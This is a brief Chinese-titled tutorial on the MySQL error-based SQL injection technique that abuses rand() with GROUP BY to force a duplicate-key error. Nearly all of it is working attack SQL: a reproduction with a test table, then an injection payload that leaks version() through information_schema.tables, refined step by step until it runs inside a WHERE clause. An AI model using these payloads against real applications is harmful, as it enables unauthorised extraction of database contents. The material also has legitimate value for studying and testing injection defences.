MYSQL高级爆错注入原理_MySQL

grouping on certain parts of the result from rand, causes a duplicate key error.重现过程

use mysql;create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);select left(rand(),3),a from r1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1),a, count(*) from r1 group by 1;

select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));

1248 (42000): Every derived table must have its own alias

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);